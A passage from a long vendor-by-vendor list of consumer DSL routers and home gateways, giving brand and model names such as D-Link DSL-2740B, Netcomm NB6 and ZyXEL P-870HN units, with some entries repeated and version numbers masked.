    -  E8C Gateway

    -  Navigator 1-2 Gateway



Cisco Systems,Inc.

    -  Cisco ADSL Router



ClearAccess

    -  Broadcom ADSL Router

    -  D-Link DSL-2730B



Comtrend

    -  AR-5383n

    -  Broadcom ADSL Router

    -  single-chip ADSL router

    -  WAP-5850g

    -  Netcomm ADSL2+/3G Wi-Fi Router



Corega

    -  CG-BARMX2

    -  CG-WLBARAGM



Danalink

    -  Dynalink ADSL Router

    -  Dynalink Wireless ADSL2+ Router



DARE

    -  DareGlobal Home Gateway



Dare

    -  Router



Dare Inc.

    -  Dare ADSL2+ Modem/Wireless Router



DCOM

    -  ADSL Router



DGT

    -  VDSL Router



Digicom

    -  ADSL Router



Digital Data Communications, Inc

    -  FBR-1461A ADSL2+ Modem Router(X.X.X.X)

    -  FBR-1461 ADSL2+ Modem Router (X.X.X.X)



DIGITUS

    -  Internet Gateway Device



DIT

    -  Gateway



D-Link

    -  ADSL MODEM



D-link

    -  ADSL Router



D-LINK

    -  ADSL Router



DLink

    -  Alpha ADSL Router



D-Link Corporation.

    -  D-Link D-LinkDSL-2640B

    -  D-Link DSL-2640B

    -  D-LinkDSL-2640B

    -  D-LinkDSL-2641B

    -  D-Link DSL-2740B

    -  D-LinkDSL-2740B

    -  D-Link DSL-2740U

    -  D-Link DSL-2741B

    -  D-LinkDSL-2741B

    -  D-Link DSL-2750B

    -  D-LinkDSL-2750B



D-Link Corporation

    -  D-Link DSL6740U

    -  DSL-2640B

    -  DSL2740B

    -  DSL-2740B

    -  DSL-2740B Adsl Router

    -  DSL-2740B Adsl Router

    -  DSL-2740U Adsl Router

    -  DSL-2741B

    -  DSL-2741B Adsl Router

    -  DSL2750B

    -  DVA-G3670B Adsl Router



Dlink

    -  ADSL router

    -  ADSL Router

    -  D-Link ADSL Router

    -  ADSL Router

    -  DLink ADSL Router

    -  ADSL Router

    -  DSL-2500U

    -  DSL-2542B

    -  DSL-2640B

    -  DSL-2640U

    -  DSL-2730B

    -  D-Link DSL-2730B

    -  DSL2730U

    -  DSL-2730U

    -  DSL-2740EL

    -  DSL2750U

    -  DSL-2750U

    -  D-Link DSL-526B

    -  DSL-526B

    -  Router

    -  D-Link VDSL Router

    -  Wireless Router

    -  DSL-2542B

    -  DSL-2640B

    -  DSL-2640BT

    -  DSL-2640U

    -  DSL-2740B

    -  DSL-526B

    -  DSL-526B

    -  DSL-526B

    -  DVA-G3672B-LTT Networks ADSL Router

    -  DVA-G3672B Networks ADSL Router



DQ

    -  ADSL Router



DQ Technology, Inc.

    -  ADSL2+ 11n WiFi CPE

    -  ADSL2+ CPE

    - DSL-2542BNetworksADSLRouter

    - DSL-2642BNetworksADSLRouter

    - DSL-2730BNetworksADSLRouter

    - DSL-2730UNetworksADSLRouter



DSL

    -  ARouter

    - DSLRouter

    -  TW ARouter



Dynalink

    -  ADSL2+ Router

    -  ADSL2+ Wireless Modem Router

    -  Wireless ADSL2+ Router



ENKOM

    -  AMIS Router



FAMNET

    -  ADSL Router



FiberHome

    -  ADSL Router

    -  Broadcom ADSL Router



Glitel

    -  Broadcom ADSL Router



gmesh

    -  ADSL Router



huaqin

    -  HGU421 Router

    -  HGU421 v3 Router



Huawei-3Com

    -  BR204+



Huawei

    -  Echolife ADSL Router

    -  EchoLife Home Gateway

    -  HG227

    -  ADSL Router

    -  Residential Gateway Device



Huawei Technologies Co., Ltd

    -  EchoLife HG520



iBall Baton

    -  150M Wireless-N ADSL2+ Router



iiNet

    -  BoB2

    -  BoBLite



Innoband

    -  DSL Router



Inteno

    -  Broadcom ADSL Router

    -  DSL Router

    -  Residential Gateway



Intercross

    -  Broadcom ADSL Router

    - InternetGatewayDevice



IskraTEL

    -  Broadcom ADSL Router



ITI Ltd.

    -  ITI ADSL2+ Modem/Wireless Router

    -  ITI Ltd.ADSL2Plus Modem/Router



K?NIG

    -  ADSL2/2+ Modem Router

    -  ADSL2/2+ Modem Router



Kunhar Peripherals Pvt Ltd

    -  54M Wireless ADSL2+ router



LevelOne

    -  FBR-1461B



Linksys by Cisco

    -  Linksys WRT54G

    -  Linksys WRT54GL



Linksys Inc.

    -  DD-WRT Router (X.X.X.X)

    -  Linksys MA568243

    -  Linksys ma890673

    -  Linksys WRT150N

    -  Linksys WRT54GL

    -  Linksys WRT54GS-PC

    -  Linksys wrt54gs v4

    -  Linksys WRT54GS (X.X.X.X)

    -  Residential Gateway Device



Linksys

    -  Internet Gateway Device

    -  Wireless Router



MAXON

    -  Residential Gateway Device



MEDIACOM  Wireless-N ADSL2+ Router

MEDIACOM  Wireless-N ADSL2+ Router     -  ADSL2+ Router



Micronet Communications Inc.

    -  Micronet WLAN ADSL2+ Modem Router



Micro-Star International

    -  Residential Gateway Device



Minitar Corporation

    -  Residential Gateway Device



Motorola

    -  Residential Gateway Device



NB

    -  DSL-2740B



NetComm

    -  Broadcom ADSL Router



NetComm Limited

    -  NetComm ADSL2+ Router

    -  NetComm ADSL2+ Wireless Router

    -  11n Wireless ADSL2+ Router

    -  11n Wireless ADSL Router

    -  Netcomm ADSL2+/3G Wi-Fi Router

    -  ADSL2+ Router

    -  ADSL2+ Wireless Router

    -  NB6 ADSL2+ Router

    -  NB6Plus4W ADSL2+ Wireless Modem Router

    -  NB6PLUS4W Wireless ADSL2+ Router

    -  NB6W Wireless ADSL2+ Router

    -  WiFi Data and VoIP Gateway



NetComm Wireless Limited

    -  NetComm ADSL2+ Router

    -  NetComm ADSL2+ Wireless Router



Netgear

    -  Broadcom ADSL Router

    -  ADSL2+ Router

    -  ADSL Router

    -  RP614v4



Neuf Telecom

    -  Trio4



NewMedia-NET GmbH

    -  DD-WRT Router (X.X.X.X)



OPTICOM

    -  DSLink 279



Orcon

    -  Genius

    -  GeniusLite

    -  Orcon

    - P-660HN-51



PENTAGRAM

    -  home.gateway



PhoebeMicro

    -  Internet Gateway Device



Pirelli

    -  ADSL Router



Pirelli Broadband Solutions

    -  HomeStation ADSL Router



PLANET

    -  ADN-4000



Planex

    -  BLW-54CW

    -  Internet Gateway Device



QTECH

    -

    -  Broadcom ADSL Router

    -  QTECH

    -  Residential Gateway

    - ResidentialGatewayDevice



ROTAL

    -  Wireless ADSL2+ Router



Router

    -  ADSL Router

    -  Router



Sagem

    -  AFAQ DSL SHAMEL ROUTER



Sagemcom

    -  ADSL Router

    -  ADSL Router



SemIndia Systems Private Ltd.

    -  SemIndia ADSL2Plus Modem/Router



SemIndia Systems Pvt. Ltd.

    -  SemIndia Systems ADSL2Plus Modem Router

    -  SemIndia Systems ADSL2Plus Modem/Wireless Router



SIEMENS

    -  alice.box



Siemens

    -  ADSL SL2-141

    -  ADSL SL2-141-I

    -  Gigaset SE515B

    -  SL2-141-I



SimpleTech

    -  OdenShare

    -  SimpleShare



Sinus

    -  1054 DSL



SmartLink

    -  ADSL Router



Sparklan

    -  Internet Gateway Device



Speedport

    -  500V

    -  W 500V



Starbridge Networks

    -  Broadcom ADSL Router



Star-Net

    -  Broadcom ADSL Router



STAR-NET

    -  Broadcom ADSL Router



Sveasoft Inc.

    -  Residential Gateway Device



TARGA WR 500 VoIP

    -  TARGA WR 500 VoIP



Tecom

    -  DSL Router



TeleWell Oy (http://www.telewell.fi)

TeleWell Oy (http://www.telewell.fi)     -  TeleWell.gateway



Telsey

    -  ADSL Router



TELUS

    -  VSG1432



Tenda

    -  ADSL2/2+ Modem Router



Tenda/Imex

    -  W150D



Tenda/lmex

    -  ADSL2+ Ethernet Modem Router

    -  ADSL Router

    -  Gateway



TOPTRONICS

    -  ADSL Router



TP-LINK

    -  ADSL Router

    -  54M Wireless ADSL2+ router

    -  ADSL2+ Modem Router

    -  ADSL2+ Router

    -  ADSL2+ Router Modem

    -  ADSL Router

    -  Wireless ADSL2+ Modem Router

    -  Wireless ADSL2+ router

    -  Wireless ADSL2+ Router

    -  Wireless N ADSL2+ Modem Router TD-W8960N



U.S. Robotics Corporation

    -  Internet Gateway Device



U.S. Robotics

    -  USRobotics ADSL2+ Router

    -  ADSL 4 Port Router

    -  ADSL 4-Port Router

    -  USR8561



UTStarcom Inc.

    -  UTStarcom ADSL2+ Modem Router



UTstarcom Inc.

    -  UTstarcom ADSL2+ Modem/Wireless Router

    -  UTStarcom ADSL2+ Modem/Wireless Router

    - VSG1432-B101

    - VSG1435-B101



WIN

    -  eNet660S



WorldNet

    -  ADSL Router



XAVi

    -  DSL Router



Zhone Technologies.

    -  UPnP v1.0



Zhone

    -  Gateway

    -  Wireless Gateway



ZISA

    -  ADSL Router



ZTE

    -  ADSL Router

    -  Broadcom ADSL Router



ZTE Corporation

    -  ZXDSL 931 Series Device

    -  Home Gateway

    -  ZXDSL 531B



ZyXEL Communication Crop.

    -  P-870H-51A V2 UPnP

    -  P-870H-51b UPnP

    -  P-870H-53A V2 UPnP

    -  P-870HN-51b UPnP

    -  P-870HN-51D UPnP

    -  P-870HN-53b UPnP

    -  P-870HNU-51b

    -  VSG1435-B101

    -  Wireless Broadband Router

    -  ZyXEL UPnP v1.0



ZyXEL

    -  P-660HN-51

    -  P-870HN-53b

    -  P-873HNU-51B

    -  P-873HNUP-51B

    -  Qwest TR-064 v1.0

    -  VMG1312-B30A

    -  VSG1432-B101

    -  VSG1435-B101

    -  ADSL Router

    -  TR64 Router

    -  UPnP Router

    -  VDSL Router



ZYXEL

    -  ZyXEL VDSL Router

    -  xDSL Router